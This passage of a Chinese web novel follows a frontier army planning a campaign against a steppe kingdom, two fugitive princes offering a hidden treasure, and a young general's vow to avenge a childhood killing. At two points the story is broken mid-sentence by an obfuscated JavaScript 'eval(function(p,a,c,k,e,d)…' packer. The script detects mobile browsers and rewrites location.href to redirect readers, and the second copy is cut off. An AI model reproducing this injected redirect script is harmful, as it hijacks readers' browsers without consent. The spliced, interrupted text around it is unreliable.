只听屏风后面“哗啦”一声,白阳来摔在了浴桶中,燕昭鹏赶忙转过屏风去看他:“你怎么了?” 白阳来仰面躺在大浴桶中,修长的胳膊腿原本支在桶外,随着刚穿上的裤子被自己的洗澡水全部浸,干脆湿卸了力任自己跌入桶中,只余头脸脖颈和一半光洁的上身露在外头,凤眼中带着气恼和无奈瞪向冲过来的燕昭鹏,长发在水上和桶外散得到处都是,他就那么躺着,也不动,略带指责地嗔道:“想到什么了好端端地突然叫了一声?我没站稳,滑倒了。” 燕昭鹏非常地自责,愧疚地说:“哈哈哈哈哈,啊哈哈哈哈,你怎么摔到了,哈哈哈哈!”他清了清嗓子,努力反应:“怪我怪我,哈哈哈哈,你看你刚洗干净又都湿了这可如何是好哈哈哈哈,你这个样子真是白嫩可爱,难得一见啊哈哈哈哈哈!” 白阳来微微一笑,将手伸进浴桶中并拢手指用力向外一推,原本正“哈哈哈”的燕昭鹏立马变成:“噗!呸呸呸!”他俩此时正是面对着面,白阳来虽然特意偏了偏,但那桶里的洗澡水还是飞进了燕昭鹏嘴里,身上就更别说了,他肩头、胸前精致的暗绣被水打湿,瞬间深了一层颜色。 这下换白阳来:“哈哈哈哈,你怎么了?你这个样子真是懵懂可爱,难得一见啊哈哈哈哈!” 燕昭鹏张牙舞爪向他扑来,白阳来双手一撑向后翻身,站定在了浴桶之后,不做停顿便从另一边绕过屏风到衣箱处另换干衣去了。 燕昭鹏扑了个空在桶边止住自己的身体,不甘心地又呸了呸,也去换衣服了。 中军帐内,雍长龄召集几位主要将领商议大营下一步的安排。 看着挂在一旁、已经细化了许多的地图,雍长龄指点着对众人说:“白将军他们去的时候走的是商路,回来的时候走的是苏善给他的泼岩麻内部地图上的路,就是新画上去的这一条,这条路确实快了许多。” 众人随着雍长龄手指的方向看向地图中刚刚画上去的那道墨痕。雍长龄说:“原本攻下王城即为终胜,但现在阿克金的独子已经在我们这边了,那王城便不止有战胜而取这一种方式了。” 雍长龄腰背笔直地坐在上首,微抬了头透过敞开的帐帘去看帐外辽阔的天空:“我虽为武将,但战非功的道理我是懂得的。我们连年征战不是为战而战,是为不战而战。若能和平安宁为什么要非要起战火刀兵呢?”雍长龄目光深远。 这番话从一介武将口中说出实为难得。若是没有战争,武将何来军功,没有军功如何升迁?不要说荣华富贵封妻荫子了,不打仗那还要武将做什么?尤其是在当下这样的时局之中,景帝一面靠着武将上位,一面又在坐稳了帝位之后灭杀了扶持自己的路老将军满门;一面倚重武将打压文臣,一面又将全国上下的军制从大节到细处胡乱改了个四不像,美其名曰:文武制衡。燕家就是最好的例子,身处这样的时局,手上若是没有实实在在的兵权,任谁都难保无虞,而雍长龄此时还能不忘武将“止戈”的初心,何其难得。 然而这终究只是他个人的一点想头,哪怕为了眼前这些将身家未来都交给他的将军们,他也不能有丝毫的不谨慎。雍长龄收回目光说:“目前虽然不知王城对他二人的失踪会作何反应,但当下之际,引鹰王和豹王带兵来与我们决战无疑是一劳永逸的最好办法。” 徐副将当即领会了雍长龄的意思,跃跃欲试道:“这个办法好。敌军奔袭而来的这一路上我军还可四处设伏,沿途消耗敌军兵力。” 萧懋亦觉得这个办法很好,但是:“若他们不来呢?王城在传言中防御十分厉害,若是他们固守城中不出兵,那该如何是好?” 元淮觉得没关系:“其实我们出去打也是可以的,虽然奔袭是累了点儿,可是早打完早利索嘛,等要等到什么时候。” 云剑南还是赞同以逸待劳,毕竟草原广阔地形各异,而他们终归是对这一带最熟悉:“他们不来我们想办法勾他们来呗,叫骂、利诱,方法多的是,我不信鹰王和豹王能抵得住。” 帐内正讨论着,白阳来与燕昭鹏在帐外求见。 白阳来向雍大将军禀报说:“方才军医来报,两位贵客身体不适可能需要一个晚上的休息。” 雍长龄挥手:“无碍,我们安排我们的。” 白阳来拱手道:“启禀大将军,苏善让末将转告大将军,双翼狮王阿克金生前曾将大量财宝藏在一个地方,若您荡平王城助他称王他愿将狮王宝藏与您共享。” 有关狮王的传闻很多,有关他平生聚敛无数财富的传闻亦不在少数,雍长龄在草原征战日久自是听说过的,但同样的事情由不同的人说出来意义是完全不一样的,过去雍长龄只把狮王宝藏的传闻当消遣听,如今苏善也提起此事,莫非是真的? 这些天里,白阳来一直在心中盘算着大军的战事与大营的未来,随着他先至王城后遇苏善,一点一点的新情况新消息让他的想法更多也更深入了,现在正好禀报给雍大将军与诸位将军讨论,自己也好请教前辈们意见,他想定之后便拱手禀道:“启禀大将军,末将以为苏善所言或可一信;丛英此人亦可利用起来争取塔纳云罗丹一族,以削弱泼岩麻的力量和威望。至于王城,一则末将曾在王城内遇见一人,十分了解八卦阵,末将已派罗影将军前去找寻,若能寻得此人,则八卦阵或可破解。二则,苏善与丛英是偷偷逃出王城的,属下等当时便猜测或有密道连通王城与外城,但来的路上我曾询问过,苏善与丛英都对此三缄其口。若是能问出他们偷偷出城的方式,末将愿潜入城中擒王,以为大军策应。” 这几句话将各种人、事与其中的关系说得简洁分明,建议在理且可行,显见是十分用心了,雍长龄听得很是满意,他心情颇好地笑道:“策应?你都擒王了还策应?白将军,太谦了,哈哈哈哈。”笑声中充满得意。 于泼岩麻王城中擒泼岩麻之王,当真是狂!但在场诸人只觉得此计甚好,并无人不信白阳来做不到,觉得他好高骛远,可见对白阳来万军之中取上将首级的勇武之能,众位将军早有共识。 是故时人论及当世各大军营时每每首推润和,便是因为润和营中官友兵敬,和睦团结,不以出身为限,有才德便能出头是也;其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295296|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃穿待遇、军饷保障反居其次。 雍长龄示意门口的侍卫放下帐帘,推心置腹地对众人说:“如今的形势虽然出现了许多新的变化,但我们最大的问题还是原来的那一个,你们心中想必也都清楚。” 雍长龄指点着下头站着的某些老将说:“你们这些人啊,仗打老了的,心里清楚我军的实力和自身的能力,故而等闲的紧急都敢不放在心上,且已经因此养出了许多不好的毛病,就比如越是大事当前越要停一停、等一等、缓一缓,仿佛如常人般急上一急便会失了你们沙场宿将的气度。” 雍长龄冷笑道:“也是我的错,此次出征连战连捷,我便宽纵了尔等。犹记得上次议事时,一个两个的尽给我说些个废话,是都想挨军法吗?” 此时,站得好好的徐常青突然被一股巨力踢中了小腿,他“啊”的一声往前踉跄了一步才重新站稳。 徐常青心中懊恼自己只顾低头忘了防备偷袭,正待拱手告罪,不想雍长龄仿佛未见他不自然地出场,十分自然地说:“徐副将,想必你身为副将当言之有物,说吧。” 徐副将忍住回头找人的冲动挣扎着朝雍大将军眨了眨眼睛:大将军我方才可是摔出来的呀,很明显是被人暗害了才出列的。 雍长龄脸色一放,徐常青立马抱拳道:“回大将军,末将确实有话要说。”他余光看见燕昭鹏正看着他无声灿笑,立刻严肃起来,十分正经地开始言之有物:“目前我军在草原面临的问题不在于打不打或者赢不赢,而在于怎么打,打完之后又该如何处理后续可能发生的一应事宜。” “嗯~”雍长龄对这两句还算满意,徐常青继续说:“而对我军来说最重要的问题是:如何在朝廷对我军已生猜忌之心的情况下尽可能长久地保全自身。属下对此虽有些想法但都尚未想清楚,故此尚无法为大将军分忧。至于目下的战役,属下以为若以攻打王城为目标,则还需等待罗影将军处的消息再做打算更为稳妥。末将拙见,还请大将军部署示下。” 雍长龄点了点头,徐常青回到自己的位置上站好。要事当前,徐常青在心中将方才之事狠狠记下,待有空时再行回报。 此时的雍长龄与云来客栈中的白阳来有相同的想法。打仗,看似打的是地盘,实则关键在人。王城就在那里,当年由阿克金修建,后来由另外的人承继,未来也可能被人毁去。城池不是最重要的,人才是最重要的,只要击溃泼岩麻的大军,那么王城自可不攻而破。不再废话,雍长龄部署如下: 我军当前的目标:泼岩麻王城和狮王宝藏——如果真的有的话,那就要。 主要的战术安排:首先,分裂两王,毋令其合兵一处,为下一步将鹰王与豹王的大军分而击之做准备;而后,利用狮王宝藏引诱鹰王大军先行对战;最后,击溃豹王所领之军,荡平王城。 如此,八卦阵破不破都无所谓了,直接推平最干净。 狮王宝藏有没有、在何处也不重要,苏善人在营中,对外的消息怎么放大可视我军需要而定。 至于朝廷那边,景帝要他们打下王城,那就打下王城,这也正合了苏善的心愿。草原广阔,物产虽有比之中原却称不上丰富,景帝想开疆拓土给自己添功绩,但管却未必愿意管,说不得还是需要在草原上立个王来稳固此间局势。到那时,苏善身为一代草原王者之子,可谓名正言顺;大睿雄师替他夺回了王位,他向大睿称臣纳贡也是情理之中的事,如此各安其分,真真是两全其美。 至于战后润和大营与雍大将军何去何从,那就是后话了。只要大军肯放鹰王与豹王一马,以两王的能力,在草原上与大军周旋个一年两年不成问题。在这一两年之间,至少润和大营暂时是安全的,而雍大将军作为一手建起润和的主帅,自然亦可保无虞。退一步说即便朝廷想要换将,将在外,也不是说换就能换的,这其中有无数的文章可以做。而一两年之后,谁知道九州会变成什么样呢,走一步看一步吧。 战术确定之后就是任务分配了: “分裂两王”由叶真带领斥候营完成,如需出战则由先锋将军百十兆带领先锋营与斥候营配合完成。 “利用狮王宝藏引诱鹰王大军先行对战”由左将军元淮、左军副将萧懋等完成,其中与狮王宝藏相关的一应事宜皆由前锋将军白阳来负责统筹完成。 “击溃豹王所领之军”由右将军云剑南、右军副将程荥共同带兵完成。 最后,“荡平王城”由雍大将军视战事之发展另行安排。 副将徐常青负责居中调度,将会与整个中军一起留在大营。 雍长龄说:“我会为你们坐镇后方,保证你们的所有供给,不会让你们的行动受到任何干扰与限制。将军们,让我们赢下此役!” 雄浑激昂的山呼从中军帐中传出,气氛平淡已久的润和大营重新变得激越昂扬。 30.第 30 章 白阳来从中军帐出来后先是去与叶真商议派人出营支援罗影,然后便回到帐中处理前锋营积压的军务。他招来轮班埋伏在山洞附近的士兵询问情况,并将马七请来说:“目前我掌握的线索只有这个,他们在那处监视三两日一轮换,马七叔要不要跟去看看?” 马七听说有线索,自然是要去的,他立马站起来道:“谢白将军,我这就跟着去看看。” 白阳来伸出一只手往下按了按:“马七叔先别急,他们刚换的那一班已经出发了,这两日你先在营中休息,下次再一同去不迟。我给你请了大夫来……” 马七闻言点了点头往回坐,但一听说大夫立即弹起来:“不,将军不必费事,我不看大夫。”他很激烈地反对着。 白阳来解释说:“马七叔,你的脸色不好,而且这一路上我总见你暗自忍耐身上的不适,请大夫替你看一看也好尽早调理医治,以免痛苦。若是因为银钱,你大可放心,我们营中看诊不用钱的。” 马七知道他是好心,但是:“不用白将军,咱们……我跟着您只要报了仇就行,别的您不用为我操心。我,您莫不是担心我身上有病?我就是看着老残了些,其实我身体都好,没有病。我身上也不长虱子跳蚤,就是衣裳残破了些,我是干净的。” 白阳来知道他这样说多半是故意转移话题,但看得出马七确实十分抵触大夫看诊,便也不劝了:“既然如此,那马七叔便回帐好好休息吧,我们这营中无事不得随意走动,你若有什么事可直接与营中值守的军士们说或者来此处寻我便是。” 马七答应着千谢万谢地走了。 关阙站在帐前看马七离去,然后走过来对白阳来说:“劳心疲体,多有不足,你让我看的是他吧?” 白阳来将关阙让进帐中上座,说:“正是,不过他不愿看大夫,倒是劳动您空跑一趟了。” 眼见关阙知道病患已走仍旧施施然在椅子上坐下,白阳来奇道:“关大夫可是有事与我说?莫非是他的身体……”这个他指的自然是燕昭鹏。 关阙摆摆手:“是有事,但与郎君无碍。近来郎君的身体较从前倒是平稳了不少,这么多年小心补益总还是有效验的。我师父前日还来信提醒我可以将方子再改一改了。将军不必担心,都是好事。” 白阳来将理好的军务放在一边,专心与关阙对谈:“那关大夫今日来是?” 关阙捋了捋与关天和一样的髯须说:“噢,是这样,我听说将军您带回来的少年是双翼狮王的儿子?” 白阳来心中一禀:“这么快就知道了?”,但面上丝毫未露异样,神色如常地径直问道:“关大夫何出此言?” 关阙也直言相告:“我与黄居养郎君家养的大夫熟识,是听他说的。”关阙还向白阳来保证道:“将军放心,黄郎君身边人嘴都甚严,他那歌大夫更是等闲不爱与人说话的,只是跟我要好才将听到的消息告知于我。也是我曾经向他感叹过,当年狮王曾装扮成西域富商从中原买回了许多珍贵药材,不知是不是藏在王城。他这才告诉我的。” 关阙凑近了些悄悄对白阳来说:“我观这位黄郎君身份不凡,与大将军的关系,也不凡。将军可要心中有数啊。” 是,白阳来也这么觉得,但雍大将军不说,那便是他不该知道。白阳来谢过关阙:“谢关大夫提点,关大夫与那大夫交好时也顾忌着些避讳。” 关阙道:“那是自然。”他转回正题:“我就是想来问问,这狮王宝藏是果真有吗?当年他早逝时便曾传出宝藏的消息,后来他弟弟也是壮年暴亡。那时我与师父便曾猜想过,他手上明明有那些好药,兄弟二人却皆是早亡,他恐怕是没来得及吃,而他弟弟,恐怕是不知道或是没找到。若然如此,那些好药多半应是留了下来还被他藏起来了才是。” 白阳来侧耳倾听着关阙的叙说。他脸的线条流畅利落,随着年岁渐大慢慢褪去了儿时的圆润越来越显出隽秀来,被锦衣包裹的身体健硕有力虽然挺拔却没有一般武将的宽厚,让他看起来更像是一个身姿昂扬的温润文臣。白阳来聆听关阙说话时习惯性地从举止中观察着这位算得上是看着他长大的大夫,如此激动、急切的表现在关阙身上是很少见的,所以狮王当年从中原带走的恐怕是极难得的好药了。 白阳来道:“您是说,若有狮王宝藏,那当年阿克金从中原带回来的药应该也在?” 关阙听到“好药”二字精神得双眼闪亮:“十有八九!” 白阳来礼貌问询:“恕在下无知,这么多年过去了,那些药就算能找到,还能用吗?” 关阙好声好气说了那么些话,终于忍不住故态复萌,没好气道:“什么叫‘能用吗’,不能用了我还激动什么。当然能用,而且只会更好用!你知道他当年从中原买的是什么吗?那可是医药大家悬壶公的亲手所制的宝药啊,我跟你说……”关阙袖子挽到一半又停住,悻悻然将袖子放下来道:“算了,我跟你说什么,说了你也不懂。你只要知道,这药若是找到了,咱们小郎君的身子就有望大好了!” 关阙悄声说:“此事我还未禀报家主,但不知我师父会不会说。事情尚不能确定,我害怕若是家主知道了把燕家的人派出去找的话,万一引来一些关注反而不美。你说呢?” 关阙这么一说白阳来立即便上了十二分的心:“关大夫说得对,我这就去安排。有没有的找到就知道了。” 军帐的门帘掀开,燕昭鹏出现在门外,见他俩凑在一起说话不由侧目:“说我什么呢?” 关阙将前倾的身体坐正,一派仙风道骨状捋髯:“郎君何出此言,我与将军也是多年好友,一处叙话有何可疑?” 燕昭鹏眯起眼睛斜睨他:“好友?”他眼神转向白阳来:“他有什么事情求你?” 关阙被呛了一下,燕家郎君果然敏锐,自己还是赶快走吧,再说几句别让他觉察出什么到时候又是一顿好吵。 白阳来笑着起身让座说:“是我请了关大夫来想给马七叔看看身体,但他不愿,倒让关大夫白跑一趟了。” 燕昭鹏看见关阙就嘴里发苦,听白阳来如此说那现在便是无事了,遂看向关阙:“你……” 关阙利落起身,无半字废话:“我走了,告辞。” 关阙迅速离开,同时与燕昭鹏一起在心中默默地松了一口气:关阙是生怕自己再说什么让燕昭鹏察觉疏漏,燕昭鹏是生怕关阙突然要给自己把脉再把出什么。 白阳来拎来热水给燕昭鹏冲陈皮饮,燕昭鹏正好带来一套新杯子,是静美剔透的白瓷。 白阳来观察那杯子上鲜嫩可爱的寿桃说:“这做得真精细。” 燕昭鹏也很是喜欢,特意等到他回来才用的:“可不是,是咱家大人画的图样呢,你一个我一个他也有一个。”说着从怀中掏出一张纸:“你看,他那个比咱俩的大一些,咱俩的一样大。” 白阳来接过纸张打开一看,正是燕墨闻所画,熟悉的笔法线条一见之下让人觉得好像回到了小时候,他与燕昭鹏守着燕墨闻画风筝的时候自己亲眼见他执笔挥毫的样子,往事如烟却历历在目。纸面上方画着一个大寿桃杯,下面是两个小一些的,精致可爱,满满都是燕墨闻惯常的细腻温暖的爱,怪不得燕昭鹏要将这张纸收在怀中。 白阳来细细看完后将图纸折好还给燕昭鹏,说:“关大夫说你近来好了许多,可知道是为什么?以后也好多注意些。” 燕昭鹏将图纸收好说:“嗨,注意什么,我正想跟你说呢。大人来信向我交代了一些家里的事,有慢慢让我知道以后好接手的意思。” 白阳来缓缓点头,也是时候了,燕昭鹏都这么大了,燕家这一代主支只有他一个,早晚要接过燕家家业的,从前不过是燕墨闻以他身体为要,担心他操心烦累了身子受不住,如今两父子天各一方,自然应该交托些权柄给儿子才更便宜。 燕昭鹏又从怀里掏出来一个白玉平安扣递给白阳来,同时晃了晃自己腰间一模一样的那个:“父亲托人带来的,说是找得道的高人诚心做了仪式的,保佑我们逢凶化吉遇难成祥。” 白阳来双手接过说:“大人一片心意,我们必定如是。” 燕昭鹏幸福地笑道:“没错!你们说是就是!” 白阳来将倒了陈皮水的寿桃杯推给燕昭鹏,自己把玩着手中的平安扣。燕昭鹏看着他修长的手指翻弄着白玉的雕件,真是令人赏心悦目:“噢,对了。就因为父亲交代了些事情嘛,咱们这里又是如今这局势,也不用我做什么。这几日你不在我便除了请安未出军帐,很是看了许多文书,这心思也就从什么身体啊药啊的转而专注在别的事情上了。不曾想这一下,反倒好了许多,吃饭睡觉都安稳了。” 燕昭鹏摊手:“你说说,难道我竟是个操心的命?” 白阳来被他逗得发自内心地开怀大笑,只觉心情从未有过地舒畅,他眉眼皆是明媚轻快的笑意,一双凤眼弯成月牙般可爱的形状拱手做恭喜状,嘴上却打趣道:“这么说过去的许多年可真是委屈郎君了。” 燕昭鹏亦是笑意轻快,十分大度地拱手还礼:“好说好说,哈哈哈哈!” 少年意气,莫过于父爱在心,兄弟同欢。 两人还颇为认真地同饮了一杯陈皮水,立誓般约定今后阖家康健,事事吉顺,这才罢了。 说起眼前事,白阳来道:“我目下最紧要之事便是狮王宝藏,需尽快与苏善丛英详谈此事。” 燕昭鹏明白,此事确实重要。狮王宝藏若是真有而非传闻,那许多事情立刻便不是如今这样的计较了。 燕昭鹏也握住平安扣,厚实温润的一块美玉,与他的手掌大小正相合,他低声与白阳来说心底话:“我身体见好之事还未报与父亲,想着再看看再说,免得日后若是有什么反复倒教他白高兴一场。不过这宝藏一事,我们该早些让他知晓,也好对可能出现的影响有所防备。” 白阳来自然也做此想,这时便补充道:“正是,你的身体好好养着过一时若更好了再报不迟。宝藏之事那么多人都有耳闻大人必定也是知道的,如今有了新情况了我们早些禀报,大人若是知道什么相关的消息也好给咱们提个醒。” 说到这儿,白阳来心中颇有歉意:“我最近忙乱,许久未给大人写信请安,必是惹他牵挂了。” 燕昭鹏立即安慰道:“你是忙正事,这有什么的。我都替你写了,你放心就是。咱们家大人在澄州过得蛮开心的,那里竟有他年少时认识的不少熟人。”燕昭鹏有意与白阳来多说一说燕墨闻的现状好让他放心:“那澄州原是明王的封地,先慧贵妃去世后不久,明王殿下也去了,母子合葬于澄州晏陵,明王之子继父亲王位,敕封毅□□王殿下对父亲很尊敬,父亲在信中也对毅王赞誉良多。什么时候你有空了端着信盒子一码看去。” 白阳来都听他亲口说了,哪还有不信的,只道:“都好就好。看来澄州是个好地方,毅王殿下也是位心明眼亮的君子。” 燕昭鹏十分同意:“欣赏父亲的才华与人品之人,确是明君。” 两人相视一笑,一如当年在燕府明堂,春意融融、夏日昭昭、秋风飒飒、冬雪皑皑之时,两人挤挤挨挨嬉嬉闹闹。 这一处的兄弟,不是亲生胜似亲生;另一处的叔侄,一脉传承却都传承了相似的东西,能共同进退却无法互补。 苏善与丛英的军帐中,两个原本应该睡觉修养的人正挤在一张床上一边懊恼一边互相鼓励。 丛英抱头后悔:“当初谁都不带也该把阿梵带出来,他身手好,有他在我们也不至于像现在这样。” 苏善也垂头丧气:“是啊,要这么说我也该把土力屯带出来,他不但身手好力气还大。” 丛英放下手抬起头又劝自己和苏善:“算了,他们两个那么大块头,二三十丈外也能一眼认出来,带着他俩咱们哪能出来。” 苏善也随即释然:“你说得对,而且我们现在至少已经出来了。当时咱们不是说好了,只要能出来就行。” 丛英猛点头:“对的对的。其实咱们已经成功了。” 苏善也点头:“对。而且,那个白将军虽然凶咱们,但我总觉得他是可以信任的。” 丛英继续点头:“我也这么觉得,他看起来就让人觉得很仁义很可靠。”但他又有点儿犹豫:“你说咱们这不会是因为他容貌太俊秀看着顺眼才觉得他可靠吧?” 苏善很认真地想了想说:“他好看确实是很好看,但你看人的眼光可是你祖父都夸赞过的准啊,你忘了?当年你大姐那个未婚夫不是也算得上英武,但你第一眼就不喜欢他,死活给闹得退了婚,那时候你才多大,看人就很准了。” 丛英也想起来的:“对!那个贱人,婚后竟然鞭打妻子,我家对奴隶都不用鞭刑了。我姐姐从小用牛奶养护到大的皮肤,怎么能受得了一点儿重手。” 苏善想到这件事,不由地将希望寄托到了丛英的感觉上,说:“对了,你好好回忆一下,你当年那种感觉,跟你见到白将军的感觉,是不是一样的?如果是的话,那就说明他的确是可信的。” 丛英闭上眼努力地感受了一下,头有点儿酸胀,是连日精神紧张还不睡觉的结果。他迷茫地睁开眼睛对上苏善期冀的目光,歉然道:“那个,这种应该是祭司的能力吧。”丛英小小声说:“我没有,我感受不出来。”他为自己分辩道:“我越想越模糊,我大姐的事情都过去多久了,她第三儿子都能骑马了。” 苏善一想也是,算了:“早知道出来之前应该找祭司问问看的。” 丛英吃惊地瞪大了眼睛:“你是说我们族的祭司吗?” 苏善不明所以:“对啊。他不是最德高望重吗?” 丛英直言直语道:“可是他都是乱说的啊。” 苏善震惊:“什么?朝中的大臣们,还有鹰王豹王不是都很推崇他吗?你怎么知道他是乱说的。” 丛英据实以告:“你不是让我准备可以证明身份的东西吗,我就想到了族里的金印,这个金印原本就放在族里祭坛中间摆牌位的长案下面的暗格里。”他理所当然地说:“那我要拿金印当然就得去祭坛啊,结果我刚进去,祭司也进来了,我只好躲在供桌下面,就听见他先是对着我族祖先一通抱怨,说朝中族里总有许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丛英一听也是,顿时跟苏善一样委顿在了床上,双臂环抱着盖了暄软薄被的双膝说:“那怎么办啊?避毒丹要怎么弄到啊。” 苏善也跟他用同样的姿势坐在床上,下巴顶在一侧的膝盖上说:“父王说是从越州买的。” 丛英也歪着头靠在膝盖上:“那我们也从越州买。” 苏善就着这样的姿势动了动脑袋,应是在点头:“可是越州的药都很贵,我们身上的金子不够啊。” 丛英抬起头提醒他:“你当时不是跟我说不用带太多珍宝,只要找到狮王留给你的东西就什么都有了。咱们钱不够难道狮王留下的还不够吗,你不是跟白将军说愿意给他们一半?那就让他们先出钱买避毒丹,等打开宝库再还不就行了?” 苏善一想,是啊。再多的钱父王都是有的,只是一时半会儿取不出来而已。再说,既然要合作,自己都出钱了,那他们自然该出力才对。 两人强撑着精神终于讨论出了这么个办法,多余的连一个字也没有力气再说,躺下便睡着了。 —————————————————————————————————————————— 另一边白阳来与燕昭鹏正在用饭,看着燕昭鹏吃饭的样子,白阳来终于相信他是好了许多。 燕昭鹏挑起一筷子面条又放下:“别看我了,我真的比从前好了许多了,你快吃你的吧,吃完了就去睡觉。” 他夹起一筷子素炒三丝放进白阳来碗中:“那两个跟着来的都睡去了,你也一样是一路奔马赶回来的,竟熬到现在都不休息。” 白阳来配着三丝吃了口裹着鲜香醇厚汤汁的面条,说:“我跟他们哪能一样,那就是两个小孩子,日子虽然过得不如意其实心里又能有多少事儿。” 燕昭鹏淡笑着叹息道:“那你可不知道,他们的心里,有时候全是无事呻吟,有时候,又真真切切的全都是事儿。” 白阳来停下了咀嚼,看着燕昭鹏,燕昭鹏也看着他挑了挑眉:“长大了,有些事就会自然而然地出现,无路可逃,唯有面对。” 白阳来舔了舔嘴上的汤汁,小心地问:“是不是不方便说?有什么我能帮忙的吗?” 燕昭鹏看着他笑容欣慰:“对你,没有什么不方便说的,只是,各种事情交杂在一起,其实很细碎,但说起来又有些麻烦,没必要花那么多时间细说,不细说却又说不清楚。总之,就像祖父曾在手记中写过的那样‘世事纷繁言语无力’,说再多不如做成事,那才是真正的了结。” 白阳来一下子想到了自己与小羊的仇。确实,说再多都没有用,报了仇才算了,遂真心实意地狠狠点了点头:“祖父说得对。”他抬头对燕昭鹏说:“既然你是个操心的命,那以后就好好操心吧,反正无论怎样都有我帮你呢。我也要变得更厉害一点,才能早早帮自己和小羊报仇,也能帮上你的忙。” 燕昭鹏开心地笑了笑,突然想到了什么,他放下筷子迅速起身去取了一封信回来递给白阳来:“你曾说过当年你在仇人的脸上咬过一口?有人在湖州见过这样一个人,你看看是不是他?” 当年出事时白阳来太小,受的伤也太重,虽然他意志坚决挣回了一条命也努力地想要记住仇人的样貌,但清醒之后再回忆终究是难以描绘的。他能认得那块木牌上的纹饰,但让他画却画不出来,同样的,他能认得当年那张凶暴狰狞的脸,但让他描述也是描述不出来的。 白阳来接过信封,里面是一张图和一张写了字的纸,图上之人左边脸颊向着耳朵的方向有一个凹陷的大疤,中间似缺了一块肉,但因为时隔多年疤痕处已经长出了狰狞的肉条,让他的整个左脸腮骨上部都显得十分可怖。 白阳来看了许久,久道燕昭鹏以为是不是找错了:“不是他吗?不是也没关系,我们再找就是了。只要他活着,一定能找到的,你放心。” 白阳来紧紧盯着画像上的人说:“不,找对了,就是他。” 燕昭鹏不明白地小心问道:“那你看了这么久,是在看什么?” 白阳来端详着那副画像,笑得又美又烈:“我在想,他可真丑啊。丑陋的行径,丑陋的长相。我找了这么多年,他竟然真的还活着。我可真幸运,他可真不幸。” 他用一种很轻很柔近乎缥缈的声音说:“我该怎么杀他呢,当年,他把我的小羊剥皮砍碎扔进了热水锅里……”白阳来双眼泛红,含着泪对燕昭鹏说:“怎么办,我不会剥人皮……你知道有谁会剥人皮的吗?我要原样报仇。当年他对我的小羊做过的事情,我要他一样不少地都亲身尝一尝,这才算是报仇。”此刻,他像一个失去庇护惊惧无依的孩子一样寻求着燕昭鹏的认同:“这样才算是报了仇,对不对?” 燕昭鹏起身握住他的手将画像抽走,然后用自己温暖的手将白阳来冰凉的十指握在掌心,语气无比肯定地认同道:“对,这样才算是报仇。原样奉还,才算是彻彻底底地报了仇!” 白阳来的眼泪终于淌了下来,燕昭鹏将无声哭泣的他揽进自己怀里:“哭吧,哭完了,报了仇,你的心结也就了了。人生一世有多少重要的事情呢,不过是一件一件的成全自己的心愿罢了。” 31.第 31 章 次日清晨天气晴朗,帝都已入夏,草原的天气也开始渐渐暖热起来。 白阳来命人去请苏善与丛英一同用早膳,自己回到帐中去看燕昭鹏。白阳来进帐后发现,他竟还未醒。这可也是奇了,燕昭鹏自小难眠易醒,每每都比白阳来醒得早,就算正睡着他也睡得十分清浅,稍有动静便会醒。不想这一次,白阳来都站到床边看了他好一会儿了,床上的燕昭鹏依旧呼吸均匀,睡得安稳。白阳来细细观察确认之后真是喜不自胜,心想这只小鸟儿也终于能睡个好觉了。对旁人而言再平常不过的每日一眠,到了燕昭鹏这儿竟是如此难得。肉体凡胎之人,若是整日里连睡都睡不好,身体又哪能康健,便是再健硕之人都受不了天长日久的睡不安寝,可何况燕昭鹏这样一个娇养长大的小郎君。如今他终于能睡好了,可见真是康健有望了。 白阳来站在床边越想越高兴,立刻便决定不叫他了,让他好好睡,自己小心翼翼地放下床幔转身向外走去。刚行至门口,床幔中传出了一声迷蒙的呓语:“小羊?” 白阳来放松了缩着的手脚,应了一声。 燕昭鹏沉睡初醒的声音软糯含混:“我醒了。” 白阳来柔声回道:“好,我这就进来。”随后先是掀开军帐的帘子让外头人将郎君洗漱的用物拿进来,然后才转身去见燕昭鹏。 两人说了一会儿话,待燕昭鹏梳洗完毕,换上一身轻薄新衣,又指点着给白阳来也换了一身衣饰,这才一同去用早膳。 苏善与丛英已经在白阳来前锋营的帐中等了有一会儿了,这两位何时等过谁,这么一会儿丛英早已恼了,苏善也满心不耐烦。及至白、燕二人入帐,丛英立刻发难。 “真是好没有礼貌,你请我们吃饭,竟然让我们等你?”丛英一见门口出现了两道颀长的身影便跳起来冲着他们喊道。 白阳来侧身上前一步在燕昭鹏与丛英中间挡了一道,燕昭鹏看也不看丛英与默契地交换了个位置,从容进帐。 白阳来表达歉意:“让两位久等了。” 丛英怒气冲冲,苏善虽没开口但同样面色不善。 四人落座,白阳来看了看桌上的吃食对苏善与丛英说:“二位请吧。” 苏善没动,看着他责问:“你不解释一下吗?” 燕昭鹏在一旁接话:“解释什么?” 丛英抢话:“当然是你们刚才的迟到。” 燕昭鹏头都没偏一下,眼神从苏善脸上移开,对上丛英的目光:“我们何曾迟到。” 丛英震惊:“我们都已经等了好大一会儿了你们才到,这不是迟到是什么?!” 燕昭鹏耐心而又和善:“这当然不是迟到。”他不等丛英再说,跟着解释道:“我在自己的地方吃饭,我什么时候到就什么时候开饭,哪有迟不迟的。” 苏善忍不住生气地指出:“可是你们请了客人。” 燕昭鹏不吝赐教:“知道自己是客人就该懂得客随主便的道理——主人什么时候到,就什么时候吃饭。” 苏善与丛英默默怒视燕昭鹏,生气但说不过。 三人之间气氛凝结,苏善与丛英使劲儿瞪着燕昭鹏,燕昭鹏也坦然自若地回视着二人,军帐中仿佛有无形的电闪雷鸣——单方面的电闪雷鸣——苏善与丛英头顶上又打雷又闪电还想下雨,燕大郎君头顶上一片晴空万里无云,甚至觉得欺负小孩儿有些没意思。 